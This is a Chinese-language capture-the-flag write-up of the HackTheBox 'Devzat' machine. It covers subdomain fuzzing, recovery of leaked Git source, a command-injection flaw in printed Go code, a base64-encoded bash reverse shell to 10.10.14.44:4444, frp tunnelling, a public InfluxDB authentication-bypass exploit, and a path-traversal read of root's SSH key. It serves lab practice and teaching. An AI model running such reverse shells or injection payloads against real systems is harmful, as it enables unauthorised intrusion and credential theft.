Devzat

信息收集

目标主机开放了web服务、ssh服务和另外一个在8000端口开放的ssh服务
在这里插入图片描述
我们尝试连接8000端口的ssh服务,发现是一个聊天窗口
在这里插入图片描述
查看完可执行的命令后,还是没有新的发现
在这里插入图片描述

访问web服务时,发现只是一个普通的推销网站而已,并且扫描目录文件时也没有发现有价值的信息
在这里插入图片描述

dirsearch -u "http://devzat.htb/" -e * -x404,403,500 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

在这里插入图片描述
既然没有有价值的信息,那么我们就得切换思路了,我们得尝试扫描是否存在子域名,存在一个pets子域

wfuzz -c -u "http://devzat.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --hw 26 -H "HOST:FUZZ.devzat.htb"

在这里插入图片描述
访问子域网站的页面,发现是一个添加宠物姓名的一个功能站点
在这里插入图片描述
我们对这个url路径进行目录扫描,发现了一个git源码泄露

dirsearch -u "http://pets.devzat.htb" -e * -x404,403,500 -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt

在这里插入图片描述
访问目录时,我们发现存在以下目录。我们使用GitTools工具还原源码数据
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
还原出源码之后,我们看到存在一个main.go文件,我们可以打开main.go文件审计源码看看是否存在漏洞
在这里插入图片描述

漏洞利用

我们看到代码cmd := exec.Command("sh", "-c", "cat characteristics/"+species)处存在一个命令注入,而且功能处是添加species种类处,我们可以利用这点执行恶意的代码。

package main

import (
	"embed"
	"encoding/json"
	"fmt"
	"io/fs"
	"io/ioutil"
	"log"
	"net/http"
	"os/exec"
	"time"
)

//go:embed static/public
var web embed.FS

//go:embed static/public/index.html
var index []byte

type Pet struct {
	Name            string `json:"name"`
	Species         string `json:"species"`
	Characteristics string `json:"characteristics"`
}

var (
	Pets []Pet = []Pet{
		{Name: "Cookie", Species: "cat", Characteristics: loadCharacter("cat")},
		{Name: "Mia", Species: "cat", Characteristics: loadCharacter("cat")},
		{Name: "Chuck", Species: "dog", Characteristics: loadCharacter("dog")},
		{Name: "Balu", Species: "dog", Characteristics: loadCharacter("dog")},
		{Name: "Georg", Species: "gopher", Characteristics: loadCharacter("gopher")},
		{Name: "Gustav", Species: "giraffe", Characteristics: loadCharacter("giraffe")},
		{Name: "Rudi", Species: "redkite", Characteristics: loadCharacter("redkite")},
		{Name: "Bruno", Species: "bluewhale", Characteristics: loadCharacter("bluewhale")},
	}
)

func loadCharacter(species string) string {
	cmd := exec.Command("sh", "-c", "cat characteristics/"+species)
	stdoutStderr, err := cmd.CombinedOutput()
	if err != nil {
		return err.Error()
	}
	return string(stdoutStderr)
}

func getPets(w http.ResponseWriter, r *http.Request) {
	json.NewEncoder(w).Encode(Pets)
}

func addPet(w http.ResponseWriter, r *http.Request) {
	reqBody, _ := ioutil.ReadAll(r.Body)
	var addPet Pet
	err := json.Unmarshal(reqBody, &addPet)
	if err != nil {
		e := fmt.Sprintf("There has been an error: %+v", err)
		http.Error(w, e, http.StatusBadRequest)
		return
	}

	addPet.Characteristics = loadCharacter(addPet.Species)
	Pets = append(Pets, addPet)

	w.WriteHeader(http.StatusOK)
	fmt.Fprint(w, "Pet was added successfully")
}

func handleRequest() {
	build, err := fs.Sub(web, "static/public/build")
	if err != nil {
		panic(err)
	}

	css, err := fs.Sub(web, "static/public/css")
	if err != nil {
		panic(err)
	}

	webfonts, err := fs.Sub(web, "static/public/webfonts")
	if err != nil {
		panic(err)
	}

	spaHandler := http.HandlerFunc(spaHandlerFunc)
	// Single page application handler
	http.Handle("/", headerMiddleware(spaHandler))

	// All static folder handler
	http.Handle("/build/", headerMiddleware(http.StripPrefix("/build", http.FileServer(http.FS(build)))))
	http.Handle("/css/", headerMiddleware(http.StripPrefix("/css", http.FileServer(http.FS(css)))))
	http.Handle("/webfonts/", headerMiddleware(http.StripPrefix("/webfonts", http.FileServer(http.FS(webfonts)))))
	http.Handle("/.git/", headerMiddleware(http.StripPrefix("/.git", http.FileServer(http.Dir(".git")))))

	// API routes
	apiHandler := http.HandlerFunc(petHandler)
	http.Handle("/api/pet", headerMiddleware(apiHandler))
	log.Fatal(http.ListenAndServe(":5000", nil))
}

func spaHandlerFunc(w http.ResponseWriter, r *http.Request) {
	w.WriteHeader(http.StatusOK)
	w.Write(index)
}

func petHandler(w http.ResponseWriter, r *http.Request) {
	// Dispatch by method
	if r.Method == http.MethodPost {
		addPet(w, r)
	} else if r.Method == http.MethodGet {
		getPets(w, r)

	} else {
		http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
	}
	// TODO: Add Update and Delete
}

func headerMiddleware(next http.Handler) http.Handler {
	return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		w.Header().Add("Server", "My genious go pet server")
		next.ServeHTTP(w, r)
	})
}

func main() {
	resetTicker := time.NewTicker(5 * time.Second)
	done := make(chan bool)

	go func() {
		for {
			select {
			case <-done:
				return
			case <-resetTicker.C:
				// Reset Pets to prestaged ones
				Pets = []Pet{
					{Name: "Cookie", Species: "cat", Characteristics: loadCharacter("cat")},
					{Name: "Mia", Species: "cat", Characteristics: loadCharacter("cat")},
					{Name: "Chuck", Species: "dog", Characteristics: loadCharacter("dog")},
					{Name: "Balu", Species: "dog", Characteristics: loadCharacter("dog")},
					{Name: "Georg", Species: "gopher", Characteristics: loadCharacter("gopher")},
					{Name: "Gustav", Species: "giraffe", Characteristics: loadCharacter("giraffe")},
					{Name: "Rudi", Species: "redkite", Characteristics: loadCharacter("redkite")},
					{Name: "Bruno", Species: "bluewhale", Characteristics: loadCharacter("bluewhale")},
				}

			}
		}
	}()

	handleRequest()

	time.Sleep(500 * time.Millisecond)
	resetTicker.Stop()
	done <- true
}

为了检测我们的代码可以成功运行,我们可以先使用ping命令检测是否能ping通我们本地的机器,抓包工具选择tcpdump较为方便
在这里插入图片描述
在这里插入图片描述
返回的结果是成功执行了命令,那么我们可以将我们的恶意代码进行base64编码,目的是为了确保命令执行时不会出现渲染问题。payload的设置是:先将编码的字符串进行解码,解码之后传给管道符以bash命令运行

echo -n 'bash -i >& /dev/tcp/10.10.14.44/4444 0>&1' | base64

在这里插入图片描述
在这里插入图片描述
反弹shell到本地机器上
在这里插入图片描述

提权到catherine

拿到shell后,发现我们并没有权限查看user.txt文件的权限,并且home目录下存在另一个账户catherine。初步判断应该是要提权到这个用户权限上。我们使用万能提权脚本linpeas.sh上传到目标机器上运行,发现目标机器上以root权限运行着一个docker代理程序,并且运行的端口为8086
在这里插入图片描述
因为目标机器的8086端口对外网不开放,所以我们必须使用内网穿透工具,利用端口转发技术将8086端口转发到我们的VPS机器上进行访问,所使用的工具是frp。我们先上传客户端到目标机器上,并在本机上运行服务端
在这里插入图片描述
客户端配置信息,server_addr是本机地址,server_port不用更改,local_port是要转发到本地机器的端口,remote_port是要被转发的机器的目标端口
在这里插入图片描述
穿透代理搭建成功后,我们可以扫描本地机子的8086端口,了解到开放的是InfluxDB服务
在这里插入图片描述
在EDB上尝试过很多的exp,但是都没有成功。但是在github上发现了一个披露了的exp,经过验证发现可以利用成功,链接地址为https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933
在这里插入图片描述
发现了两个数据库,一个数据表,并查询数据表的信息,发现了catherine用户名的密码
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
那么就获取到了user.txt文件的权限了
在这里插入图片描述

提权到ROOT

没办法,我们找二进制文件也没找到个所以然,只能再运行一遍神器linpeas.sh这个脚本了。在/var/backups这个目录上,发现了很多有趣的文件,如devzat-main.zip、devzat-dev.zip这两个压缩包
在这里插入图片描述
将其复制到tmp目录解压,查看其中的commands.go文件存在可利用的漏洞点,比较main目录和dev目录下的commands.go文件的不同发现有一处对密码进行校验。这里我们要注意两个点,一个是fileCommand的方法,另一个是校验安全密码,如果密码不对直接结束方法。

diff commands.go ../dev/commands.go

在这里插入图片描述
在审计GO代码时,我们发现对应的方法名字就是我们能执行命令的名字,但是唯独缺少了这个file命令,而且还存在校验密码的环节,所以很有可能是突破口。在审计dev目录下的devchat.go文件发现,dev目录的功能是运行在目标主机的8443端口
在这里插入图片描述
在这里插入图片描述
但是我发现在反弹的shell中,并不能实现ssh的内部端口连接。但是很幸运我在.ssh中找到了登录凭据
在这里插入图片描述
在这里插入图片描述
成功使用patrick账户登录
在这里插入图片描述
发现没有密码,均报错
在这里插入图片描述
我们尝试使用密码看看返回信息有什么不同,它说不存在这个目录,那我们返回上一目录直接读取到flag了
在这里插入图片描述
在这里插入图片描述
同时我们也可以读取root的id_rsa进行获取root权限
在这里插入图片描述
在这里插入图片描述

总结

总的来说这个靶机相当复杂,同时考验GO语言的代码审计能力,获取权限的方式比较复杂,但是更加偏向于实战,这是一个非常出色的靶机。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

平凡的学者

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值